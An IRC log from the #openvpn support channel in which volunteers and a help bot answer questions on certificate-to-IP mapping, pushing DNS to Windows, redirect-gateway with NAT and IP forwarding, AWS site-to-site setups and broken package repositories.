10:15 <+pekster> It's a way where people who aren't able (or choose not) to run things themselves can throw money at a company to "do it for them." Some people like that and treat it as a value-added proposition
10:15 < Skapare> NEone: the certificates do not tag along with the packets, so you'll need to cross match 2 sets of logs:  the apache logs showing what IP address did the access, and the openvpn configuration info, showing who (what cert) has what IP
10:15 < Nothern28> thanks you +pekster, but for free, in default only 2 client at the same time? we must pay licensed?
10:16 <+pekster> Nothern28: That is _only_ for Access Server. We do not support AS here (have you read the topic yet? If not, please type /TOPIC into your client and read it.) OpenVPN (which is GPL and is _not_ Access Server) allows you to use as many clientsn as you want
10:16 < Skapare> NEone: extra functions and GUI ... I only consider ONE of those things to be good :-)
10:16 <+pekster> Nothern28: To be very clearl, GPL OpenVPN allows as many users as you want. "Access Server" does not
10:16 < Nothern28> :)
10:17 <+pekster> They are two completely different products/downloads
10:17 -!- raidz_away is now known as raidz
10:17 < NEone> Skapare: So I could compare the http-request-header-IP with the corresponding line in ipp.txt?
10:18 <+pekster> ipp is generaly pointless -- use a status file if you want to know who is connected
10:18 < Nothern28> okay, i understand now ;) ... don't want access server :)
10:18 <+pekster> ipp will also get "voided" if there are no "as yet unused" IPs but a connecting client needs a formerly-used-but-not-actively-used IP
10:18 <+pekster> !ipp
10:18 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
10:18 <+pekster> See #2 above
10:19 < Skapare> NEone: is that you figure out which user has which IP?
10:19 < Skapare> ^how^
10:19 <+pekster> Skapare & NEone: No. Use the sttaus file or status output with a SIGUSR2 to do that
10:20 < NEone> Yeah. Because in my php script I want to show them different website content, based on which user (which client-certificate) is viewing the site.
10:20 <+pekster> Ideally see !static and treat them with IP ranges
10:20 <+pekster> If your VPN is a /24, dedicate a /27 or something to the "special" users and have your firewall/web-server/proxy-server/whatever treat that uniquely
10:21 < NEone> I could compare a) apache's http-request-header-IP with b) the corresponding line in openvpn-status.log . Would THAT reliably work?
10:21 < Skapare> I'm assuming openvpn automatically prevents clients from faking IP source addresses
10:21 -!- Nothern28 [~Seb@ppp-134.net-188-130-97.static.magiconline.fr] has left #openvpn []
10:21 <+pekster> Skapare: In tun, yes. In tap openvpn is transporting L2 (Ethernet frames) so you can spoof an IP all you want just as you can on a switch
10:21 < Skapare> yeah, in tun
10:22 < Skapare> in tap, I would want to see prevention of MAC spoofing :)
10:23 < NEone> Lucky me, using tun, actually :)
10:23 < Skapare> yay
10:24 < NEone> Hm. Or I could simply make the apache SSL only, and only allowing connections with client certs. Can I use the same PKI (CA, server-cert, client-certs) I created for openvpn to use them for the apache as well?
10:25 < Skapare> so if you log IPs in apache and IPs in openvpn, along with timestamps, later on you can cross compare ... or do you need to be able to instantly see WHO accessed xxx/gallery.html
10:25 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
10:26 < Skapare> NEone: probably, it's standard X509
10:27 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
10:28 < NEone> It has to be just in time. Like for example someone looks at xxx/products.php I want to show him only those products which are available in his country+province. I have a mySQL DB matching table like "client0020" is from "Spain", so only show him products for Spain. (just an example). But to do this, my php script needs to know client0020 is actually viewing that site.
10:29 < NEone> The common name of his client cert is "client0020" in that case.
10:29 <+pekster> doesn't matter; the web server doesn't have access to that info
10:29 < Skapare> you have a database that maps "CN:client0020" to "Country:Spain"
10:30 <+pekster> OpenVPN won't help you design your website CGI/auth for you: that's up to _you_
10:30 < NEone> Yeah, which is exactly my problem. But the openvpn server has access to that info. So the web server should be able to ask the openvpn server (or its log) for that info.
10:30 < Skapare> have some program monitoring openvpn to collect the data and save it quickly in a real time database
10:30 <+pekster> See --client-connect and do what you want with the details
10:31 <+pekster> How you integrate that to your external, downstream consumers of network traffic (ie: your web server) is completely up to you
10:31 < NEone> Skapare: Good point! This might work. Thanks, gonna try it.
10:31 <+pekster> I have some GPL/BSD (dual-licensed) script snippits here if you want some inspiration: https://github.com/QueuingKoala/openvpn-dynamic
10:31 <@vpnHelper> Title: QueuingKoala/openvpn-dynamic · GitHub (at github.com)
10:31 <+pekster> user-accounting might give you an example of what dynamic stuff is possible
10:32 < Skapare> NEone: pekster basically said the same thing, with more details
10:32 < NEone> Yeah, you both putted me in the right direction. Thanks.
10:33 < Skapare> NEone: it basically comes down to, you have a special need ... you need info from openvpn ... there are ways to get it ... the choices are up to you ... if you need help with the apache parts, see #apache
10:37 < NEone> Sure thing. I'm good in Apache, PHP, and mySQL. The only thing I didn't know was how to get that client info from openvpn. Now I know I could get it either through the status-log or through the --client-connect custom scripts, so this will probably work.
10:37 <+pekster> Remember that --status only updates every so-many-seconds
10:37 <+pekster> --client-connect is the correct place for realtime actions
10:48 < NEone> See you later. Thanks again. bye
10:48 -!- NEone [~NEone@mailasp.fiveinfo.ch] has left #openvpn ["Leaving"]
10:51 < Skapare> if the server host quits openvpn, makes/uses new keys, starts again ... how would the client end detect this (so I can run a script that goes to where it can get the new keys automatically) as opposed to a general network down case ... does openvpn exit with a different status code, or is it in status?
10:53 < Skapare> or is there a way to detect that a tunnel fail is because of key mistmatch ... as opposed to any other reason ... and run an external script to get new keys from the db
10:54 <+pekster> "get the new key"?? VPN peers _never_ need the public key in advance of a connection: that's the entire point of the PKI/CA model
10:55 < Skapare> the server will have re-generated its keys ... even the CA
10:55 -!- TheSov_ is now known as thesov
10:55 <+pekster> OpenVPN server != CA (though some people put them on the same host, they're 2 independent but related concepts)
10:56 <+pekster> THere's no way to "detect" this, no. The remote end will reject a certificate that does not pass validation checks
10:56 <+pekster> ie: "The usual verification method for TLS certs)
10:56 < Skapare> but if I change the ca.key at the server and restart the server ... what will fail?
10:56 <+pekster> ca.key is part of the CA, not the server
10:57 <+pekster> An openvpn server shouldn't even have the ca.key on it for security
10:57 <+pekster> All your clients need the new CA cert, and any published certs under the old PKI are void and useless then
10:57 <+pekster> ie: "Start over" with the certificate structure
10:57 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:01 < Skapare> well, there are some issues with AWS, such that many other things are simplified if the gateways there (running openvpn in server mode) just generate all new ca.* each time they are launched ... they have no access to secure data storage until after the clients connect to them
11:03 -!- Kobaz [~kobaz@its.kobaz.net] has joined #openvpn
11:03 < Kobaz> hey... i'm having problems with a windows client not getting dns from the vpn server
11:03 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 260 seconds]
11:03 < Kobaz> i have in my server config: push "dhcp-option DNS 10.3.1.1"
11:04 < Skapare> the client hosts will use ssh to fetch "their" keys from that gateway instance running openvpn server, then use those keys it just fetched to run openvpn client to set up the tunnel
11:04 < Kobaz> but i don't see it in the client log
11:04 <+pekster> Kobaz: See:
11:04 <+pekster> !pushdns
11:04 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
11:04 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
11:05 <+pekster> Kobaz: Note that your client needs --pull (explicitly or implied) for that to work,and note #4 (although that's only valid for distros that actually _use_ resolv-conf -- custom scripting required otherwise)
11:05 < Kobaz> this is a windows client
11:05 <+pekster> Still needs --pull. Use --verb 4 if you want to see the set of pushed/pulled options
11:05 < Skapare> Kobaz: see the 2nd part of that help
11:05 < Kobaz> k
11:06 < Kobaz> for obscure reasons Windows does not immediately starts *using*
11:06 < Kobaz> these new DNS servers. The only way I could find to trigger that is by
11:06 < Kobaz> stopping and starting the dnscache service. To me, this sounds like a
11:06 < Kobaz> Windows feature/bug that openvpn can and should not attempt to fix.
11:06 < Kobaz> haha
11:06 < Kobaz> lovely
11:07 < Kobaz> sorry for the multiline paste, i thought it would come in as one
11:07 <+pekster> Basically, yes. Windows is a pile of shit and has lots of problems since it binds DNS servers to each *interface* and updates the "global DNS" info "whenever it feels like it"
11:08 <+pekster> You can see --register-dns which is basically a hack. Years ago I discovered that changing "any" arbitrary parameter on the tap interface (we weren't using DNS registration, so I "turned it off" -- even if it was already off) would "trick" windows into updating things
11:08 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
11:08 <+pekster> tl;dr: platform sucks, when it breaks you get to fix/work-around the obscure bugs
11:08 <+pekster> Have you tried a Linux/Unix box? :P
11:08 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
11:09  * Skapare is so glad he does not use Windows
11:11 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
11:11 < Kobaz> haha
11:11 < Kobaz> yeah
11:11 < Kobaz> i really have no reason to use windows anymore these days
11:11 < Skapare> one of our team members likes the Windows UI ... but he runs many things in a VM running Linux, and plans to put his openvpn client in there
11:11 < Kobaz> other than quickbooks, photoshop, and visual studio
11:11 < Kobaz> i wonder if there's a mac quickbooks
11:12 < Kobaz> there's gotta be
11:12 < Skapare> Kobaz: VMs to have both (unless like me you have 10 machines at home)
11:13 < Kobaz> let me count
11:13 < Kobaz> 11 between workstations and servers
11:13 < Kobaz> and three laptops
11:13 < Skapare> 12 if I count my mothballed Sun boxes
11:13 < Kobaz> and then i have three more motherboards lying around that are fully populated (cpu/ram)
11:13 < Skapare> well, surely you can run Linux or Unix ot one of those
11:14 < Kobaz> oh yeah
11:14 < Skapare> ot=on
11:14 < Kobaz> oh and more more box, my router
11:15 < Kobaz> oh, and my tv machine, the mac mini
11:15 < Kobaz> and another box a test server
11:16 < Kobaz> 10 linux boxes, two windows, and two mac
11:17 < Kobaz> i think i have about 1kw in servers
11:17 < Kobaz> hah
11:18 < Kobaz> well servers/workstations/laptops/etc
11:19 < Skapare> hope your UPS can handle 1kw ... I have a "1500" model
11:19 < Kobaz> i have three 1500's and a slew of 750's around the house
11:19 < Kobaz> and i think there's a 450 knocking around somewhere on my core switches
11:19 < Skapare> well, you are better prepared than I am
11:20 < Kobaz> perhaps
11:20 < Kobaz> yeah my generator transfer panel is coming soon
11:20 < Kobaz> just ordered that this week
11:20 < Kobaz> it'll beat the hell out of running around with extension cords to 5 different rooms
11:20 < Skapare> which one did you pick?
11:20 < Kobaz> reliance
11:20 < Skapare> never heard of
11:20 < Kobaz> i got this one, because of being cheap and versitile
11:20 < Kobaz> sec
11:20 < Kobaz> http://www.steadypower.com/products.php?product=Reliance-XRC-3%252dPole-Transfer-Switch-%281Ph%2C-60A%29
11:20 <@vpnHelper> Title: Reliance XRC 3-Pole Transfer Switch (1Ph, 60A) - Steadypower.com (at www.steadypower.com)
11:21  * Skapare does not like "cheap" when it comes to electricity
11:21 < Kobaz> well
11:21 -!- NEone [~NEone@mailasp.fiveinfo.ch] has joined #openvpn
11:21 < Kobaz> it's not cheap as in like- chinese-cheap
11:21 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:21 < Kobaz> it's cheap in that it's not a kit
11:21 < NEone> Hi, it's me again;)
11:21 < Kobaz> doesn't come pre-assembled with stuff i'm going to get rid of
11:21 < Kobaz> so i can build it bottom up with the breakers i want
11:22 < NEone> Isn't my IP traffic supposed to go through the tunnel, once I'm connected?
11:22 < Kobaz> you can buy a whole kit for like $375
11:22 < Kobaz> NEone: depends on your config
11:22 < Skapare> my brother had one of those from Generac ... it failed rather spectacularly after a year ... fortunately it did not burn the house down ... just blackened a basement area
11:22 < Kobaz> what exactly failed?
11:22 < Kobaz> the main switch?
11:22 < Skapare> the transfer switch
11:22 < NEone> I make a tracert www.myownserver.tld and it goes through my "normal" internet route instead of going through the tunnel and directly to that webserver:(
11:22 < Kobaz> there's two parts (or more) to a transfer switch
11:22 < Skapare> the contacts melted down
11:23 < Kobaz> the main throw, if there is one, and the individual circuit transfers/breakers
11:23 <+pekster> NEone: You're doing a poor job of specifying your goal. For the day or so you've been here, you piece-meal bits of your needs/problems. That's bad.
11:23 < Kobaz> that sounds like the switch was under rated for the generator
11:23 <+pekster> !goal
11:23 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
11:23 < Skapare> NEone bailed out on us
11:23 < Kobaz> should have been a breaker on the line side of the generator feeding the panel, rated to the max for the generator/switch
11:23 <+pekster> NEone: It sounds like your goal that you're _just_ describing now is to redirect all Internetn traffic? If so, see:
11:23 <+pekster> !redirect
11:23 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
11:23 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
11:24 < Kobaz> you should never *ever* have a fault condition that will melt the panel, if you wired it right
11:24 < Kobaz> sounds like your friend put a 50amp generator on a 30amp panel, or something like that
11:24 < Kobaz> i forgot to connect a ground
11:24 < NEone> !def1
11:24 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
11:24 < Kobaz> s/i/or/
11:25 < Kobaz> don't ever forget to connect the ground!
11:25 < Kobaz> but anyway
11:26 < NEone> !nat
11:26 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
11:27 < NEone> !linnat
11:27 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
11:27 < Kobaz> Skapare:  yeah so i got this reliance panel because reliance makes good stuff... and it's 3 pole, so i can use my neutral-ground bonded generator, and i can use standard breakers instead of proprietary throw switches, aand i can wire it like a subpanel and not have to back run to the main service from the switch
11:27 < Kobaz> Skapare: and all kinds of other benefits
11:28 < NEone> !ipforward
11:28 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
11:29 < NEone> !linipforward
11:29 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
11:29 < NEone> !winipforward
11:29 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
11:30 <+pekster> You're using Windows as a router? I'd really recommend you don't
11:30 < Kobaz> haha
11:31 <+pekster> (IP forwarding is only needed when you wish to turn something into a router. Doing this on Windows is painful, at best)
11:31 < Kobaz> it's not that bad
11:31 < Kobaz> 'internet connection sharing'
11:31 < Kobaz> it's a few clicks
11:31 <+pekster> Doing it properly is
11:31 < Kobaz> just make sure you have a good firewall
11:31 < NEone> no, the server is Linux
11:31 -!- batrick [batrick@nmap/developer/batrick] has quit [Ping timeout: 260 seconds]
11:32 <+pekster> Have you _seen_ the Windows firewall? Something as basic as file sharing requires about 20 entries to be modified (I just finished this at a 2-site business I deployed a VPN/WAN solution for last week.)
11:32 < Kobaz> haha
11:32 < Kobaz> no i mean like
11:32 < Kobaz> use a *good* fireeall
11:32 < Kobaz> the windows firewall is not in that category
11:33 < NEone> Goal: I want the openvpn clients to route all their traffic trough the tunnel, but only allowing them to access websites on my server (same Linux server as where the openvpn server is). So they will not be able to access anything else on the internet as long as they're connected with openvpn.
11:34 <+pekster> NEone: You do realize clients can simply modify the routes you push, or override-them with more specific routes, yes?
11:34 <+pekster> You can't "prevent" a client from doing anything unless you have direct administrative control over it
11:35 <+pekster> OpenVPN is basically a router, or more simply a "long network cable." It's not a way to apply policies or firewalls or anything to systems
11:35 < Skapare> clients can ignore what is pushed, and do their own thing
11:35 <+pekster> This said, if you push --redirect-gateway, that'll override the 0/0 route and sort of do what you want; no need for forwarding if you want packets to just get dropped anyway
11:36 <+pekster> I think this is kind of silly, and will likely break basic things like NTP or DNS unless you make special arrangements
11:38 < NEone> Ok, if I forget the "block access to the rest of the internet" part and just want to make a standard VPN tunnel. And I have push "redirect-gateway def1 bypass-dhcp" in my server.conf since the beginning. Why is my traceroute from the client still not going through the tunnel?
11:38 <@krzee> !redirect
11:38 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
11:38 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
11:39 <@krzee> try #4?
11:42 < NEone> Ok. Really trying hard. Sorry, didn't want to bother anybody. Yep, these links might help.
11:46 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
11:59 -!- lmm_ is now known as lmm
11:59 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
11:59 -!- share [share@unaffiliated/share] has joined #openvpn
12:00 < share> does openvpn come with a script similar to update-resolv-conf ?
12:00 < share> if not.. why not?
12:01 -!- xBytez [~xbytez@xbytez.xxx] has quit [Ping timeout: 264 seconds]
12:02 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
12:03 <@krzee> share, download the source and check yourself
12:03 <@krzee> !download
12:03 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
12:03 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
12:03 < NEone> Goal: Understanding one particular line in the server.conf. Question: In this line push "redirect-gateway def1 bypass-dhcp" should I delete or keep the "bypass-dhcp" part? Why?
12:03 <@krzee> NEone, did you read the manual for redirect-gateway?
12:04 <@krzee> !man
12:04 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
12:04 < share> krzee: /usr/share/openvpn/examples/ ?
12:04 < share> why download the source
12:04 < share> it should come with the package in my arch linux
12:04 < share> or should I complain about pkg maintainer
12:04 <@krzee> share, cause you're asking a question about openvpn not about your arch linux package, or if that is incorrect you are asking it in the wrong channel
12:04 <+pekster> Some distros package things uniquely, and either don't ship or remove certain stuff themselves, or put it in goofy directories
12:05 <+pekster> We'll support what you get with `./configure && make && sudo make install` here, not distro-isms, though we might try to be helpful and/or point you to downstream resources
12:06 < share> i guess ill have to download the source
12:06 < share> lol
12:09 < share> there are 2 files client.down
12:09 < share> and client.up
12:10 < share> nope I cant find it
12:10 <+pekster> In ./contrib/pull-resolv-conf? Yes
12:10 <+pekster> https://github.com/OpenVPN/openvpn/tree/master/contrib/pull-resolv-conf
12:10 <@vpnHelper> Title: openvpn/contrib/pull-resolv-conf at master · OpenVPN/openvpn · GitHub (at github.com)
12:11 < share> i've just mentioned those 2 files..
12:11 <+pekster> That's the "update resolv conf" samples, yes
12:11 <+pekster> Plenty of notes/comments in both files
12:11 < share> oko
12:12 <+pekster> You did read the script comments?
12:12 < share> not yet
12:12 < share> oh crap
12:20 -!- NEone [~NEone@mailasp.fiveinfo.ch] has left #openvpn ["Leaving"]
13:08 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
13:18 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:27 -!- dgbaley27 [~matt@ucb-np1-206.colorado.edu] has joined #openvpn
13:29 -!- dgbaley27 [~matt@ucb-np1-206.colorado.edu] has quit [Remote host closed the connection]
13:29 -!- [ilin] [~ilin@unaffiliated/ilin] has left #openvpn []
13:35 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 241 seconds]
13:35 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
13:36 < [diecast]> is there a howto to setting up site-to-site vpn
13:36 < [diecast]> i can only find pre-built solutions such as pfsense and ubiquity
13:37 <+pekster> [diecast]: Start with the !howto, then see !serverlan and !clientlan for exposing networks on either side of the VPN connection
13:37 < [diecast]> !clientlan
13:37 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
13:37 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
13:38 <+pekster> You have 3 basic steps for openvpn: 1) get it connected between peers, 2) expose the server-side LAN, 3) expose the client-side LAN. Obviously things like firewalls and IP forwarding need to be handled appropriately at each end, though this is largely outside openvpn's scope
13:38 < [diecast]> !serverlan
13:38 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
13:38 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
13:38 < [diecast]> pekster i have openvpn server running on two sites. openvpn client connected to one
13:39 < [diecast]> when i start openvpn client on 2nd site to 1st site i get "ERROR: Linux route add command failed: external program exited with error status: 2"
13:40 <+pekster> Then you have a much more basic problem: figure out why the route command fails and fix it
13:40 < [diecast]> =)
13:40 < [diecast]> i'm on it
13:41 <+pekster> Use --verb 4 and you should see any local error output from the system tools
13:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:41 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
13:41 < [diecast]> oh, nice
13:41 < [diecast]> ok, now i see the route its trying to add, thanks
13:42 <+pekster> Same as I said above: --verb 4
13:42 <+pekster> !verb
13:42 <@vpnHelper> "verb" is (#1) verb command is for setting log verbosity, see --verb in the manual (!man) for more info or (#2) verb 5 is good for finding firewall problems, verb 4 for troubleshooting anything else, and 3 is good for every day usage. or (#3) Anything more than 5 is for developer debugging only
13:43 < [diecast]> ok, it's running now…
13:43 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:43 < [diecast]> there was a fake route  169.254.169.254
13:55 -!- BtbN [znc@btbn.de] has quit [Quit: Bye]
13:56 -!- BtbN [znc@btbn.de] has joined #openvpn
14:00 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
14:11 -!- Eugene [eugene@codingforjes.us] has quit [Ping timeout: 260 seconds]
14:12 -!- EugeneKay [eugene@codingforjes.us] has joined #openvpn
14:26 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
14:26 < Skapare> diecast: are you using AWS for this?
14:26 < [diecast]> Skapare yes, VPC to VPC
14:29 < Skapare> you don't want to route 169.254.169.254 between VPCs ... in case you didn't know that
14:33 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 245 seconds]
14:34 < [diecast]> Skapare i removed it
14:34 < [diecast]> im not sure where that dummy route comes from in linux
14:35 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
14:37 < [diecast]> ah, thanks google. so its a locally assigned ip to hosts that are set for dhcp but there is no dhcp server or unicast dns present
14:37 < [diecast]> never had an issue deleting it in my decades off linux use
14:39 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
14:46 < Skapare> it's EC2 instance meta data web source ... each instance has one, and should only get data from its own, not over the network ... technically 169.254/16 is scope local so it should never be routed or even treated as private IPs
14:46 < Skapare> the cloud-init package might be adding it
14:47 < [diecast]> ya i read that too
14:47 < [diecast]> but its not cloud specific
14:47 < [diecast]> this was an amazon ami
14:48 < [diecast]> my cloudinit ones do not get that route
14:48 < [diecast]> have you setup site-to-site vpn with vpc?
14:50 < Skapare> no, we intend to keep our VPCs isolated
14:50 < Skapare> but I am working on a way to let office servers and developers into each and all VPCs
14:51 < [diecast]> currently our employees can do that with a vpn client config at our work
14:51 < [diecast]> but im setting up this site-to-site for redundancy of services
14:52 < Skapare> we're looking at using AWS as the way we let developers into the office LANs
14:52 < [diecast]> ah
14:53 < Skapare> but that means the only place they could download their client keys from, or get them signed at, is the gateway itself ... they can ssh in to there
14:54 < Skapare> we do not have persistent storage for the gateways, just a custom AMI for all, so the plan is, each time a gateway is launched, it regenerates its CA and server keys
14:54 < [diecast]> we use github for that
14:54 < [diecast]> private repo
14:55 < Skapare> then the developers ssh in to the gateway and run a script to either generate their client cert, or have their csr signed by it
14:55 < [diecast]> you could easily use s3
14:55 < [diecast]> and have a cloudinit install the keys
14:56 < Skapare> yes, but company security procedures require us to encrypt when storing in S3, and that encryption key be provided from office servers, which means we have to start things before getting to S3
14:57 < Skapare> the office servers will be openvpn CLIENTs, and connect in to the gateways ... another daemon will then deposit the S3 keys
14:57 < Skapare> combination of AWS limitations and company policies can complicate some setups
14:58 < Skapare> so what I am doing is treating the CA as volatile ... the gateway instance will generate a new one each time it launches (which is not that often)
14:59 < Skapare> client machines will ssh in to get/sign client keys, then run openvpn with those
15:01 <+pekster> Your logic appears flawed. You obviously have to ssh somewhere "not on" the VPN if you're using it to "set up" the VPN
15:02 <+pekster> If you can do that, clearly you could ssh in and grab/update the existing PKI. This said, this has zero to do with openvpn and everything to do with planning your deployment strategy
15:05 < Skapare> pekster: this is openvpn deployment ... but I have already gotten the answers I need ... if you disagree with my solution and want to discuss it, that's up to you
15:05 < EugeneKay> Wtf are you doing
15:06 < EugeneKay> That sounds terrible and stupid
15:06 < EugeneKay> I suggest you bitchslap the company policy
15:09 <+pekster> It's clearly not just me that thinks you're "Doing It Wrong" but your strategy is really between you and your client: I quite frankly don't care
15:19 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:27 -!- mndo [~mndo@bl17-111-30.dsl.telepac.pt] has quit [Ping timeout: 246 seconds]
15:29 < [diecast]> pekster thanks for your help … my vpc-to-vpc openvpn connection is in full effect
15:35 -!- Denial [Denial@05417302.skybroadband.com] has quit []
15:37 < Skapare> EugeneKay: it has been made clear to me that discussing it on this channel is off-topic ... until that changes ... or another channel is suggested ... I won't discuss it any further
15:37 -!- lmartin92 [~quassel@WiseOS/Builder/lmartin92] has quit [Remote host closed the connection]
15:37 < EugeneKay> We're usually more than willing to discuss sane layouts. Yours.... is not.
15:38 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
15:38 < EugeneKay> ##networking is always good for a lulz if you want
15:38 < Skapare> I won't discuss it there, either
15:42 -!- iBong [~tittyspri@ks36224.kimsufi.com] has joined #openvpn
15:43 < iBong> does anyone know what is up with the wheezy repos?
15:43 < iBong> http://repos.openvpn.net/repos/apt/conf/
15:43 <@vpnHelper> Title: Index of /repos/apt/conf/ (at repos.openvpn.net)
15:43 < iBong> getting 404 every time i try to use them
15:44 < iBong> snapshot and stable
15:44 <+pekster> Fine for me
15:44 <+pekster> You sure you don't have a cache your browser is using?
15:45 < iBong> yes
15:45 < iBong> i have tried from all over the world as well
15:45 < iBong> france, germany, netherlands
15:46 <+pekster> DNS reporting the same thing I am here? repos.openvpn.net -> 173.192.224.173 ?
15:47 < xdarklight> iBong: do you get a 404 when calling the URL from above or when *using* one of the repos (which one exactly) from the URL from above?
15:48 < xdarklight> I'm having 404 problems with the "wheezy stable" one as well
15:49 <+pekster> Ah, there's a lot of 403/404 there. IIRC that's a known issue the "corporate" folks know about and need to fix
15:49 < iBong> W: Failed to fetch http://swupdate.openvpn.net/repos/apt/wheezy-snapshots/dists/ wheezy/main/binary-amd64/Packages: 404 Not Found
15:49 < iBong> every time
15:49 < iBong> same thing for stable
15:49 < iBong> ;__;
15:49 < xdarklight> hah, that's exactly the one I also get
15:49 <+pekster> mattock_afk: ^^ ping again on repo issues from repos.openvpn.net
